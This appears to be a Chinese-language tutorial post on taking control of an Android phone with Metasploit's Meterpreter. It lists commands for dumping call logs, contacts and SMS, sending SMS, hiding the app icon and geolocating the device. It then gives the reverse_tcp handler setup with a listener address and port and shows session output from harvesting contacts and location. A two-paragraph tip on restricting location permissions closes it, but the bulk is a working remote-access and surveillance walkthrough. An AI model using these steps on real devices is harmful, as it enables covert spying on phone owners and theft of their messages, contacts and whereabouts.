Android 的命令

activity_start	Start an Android activity from a Uri string
check_root	检查设备是否 root
dump_calllog	获取通话记录
dump_contacts	获取联系人列表
dump_sms	获取短信
geolocate	使用 geolocation 获取当前地理位置
hide_app_icon	Hide the app icon from the launcher
interval_collect	Manage interval collection capabilities
send_sms	使用目标设备发送短信
set_audio_mode	设置铃声模式
sqlite_query	从存储器中查询 SQLite 数据库
wakelock	启用/禁用 wakelock
wlan_geolocate	使用 WLAN 信息获取当前地理位置

开启监听，远程连接手机

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.3.2
set lport 5555

```
    app_install     Request to install apk file
    app_list        List installed apps in the device
    app_run         Start Main Activty for package name
    app_uninstall   Request to uninstall application

meterpreter > wlan_geolocate
[-] You must enter an api_key
[-] e.g. wlan_geolocate -a YOUR_API_KEY

OPTIONS:

    -a <opt>  API key
    -h        Help Banner
```

```
    send_sms          Sends SMS from target session
    set_audio_mode    Set Ringer Mode
    sqlite_query      Query a SQLite database from storage
    wakelock          Enable/Disable Wakelock
    wlan_geolocate    Get current lat-long using WLAN information


Application Controller Commands
===============================

    Command         Description
    -------         -----------
    app_install     Request to install apk file
    app_list        List installed apps in the device
    app_run         Start Main Activty for package name
    app_uninstall   Request to uninstall application

meterpreter > dump_sms
[*] No sms messages were found!
meterpreter > dump_contacts
[*] Fetching 1 contact into list
[*] Contacts list saved to: contacts_dump_20191018160525.txt
meterpreter > geolocate
[*] Current Location:
        Latitude:  3
        Longitude: 1

To get the address:

meterpreter >
```

安全建议：

现在的安卓手机都可以设置 APP 的权限，将不需要定位权限的 APP，都禁掉。

有的手机在手机做定位操作的时候，会在手机的状态栏，显示定位的小图标，如果莫名的就会出现这个图标，大家就要提高警惕，看看是哪些 APP 会获取我们的位置信息。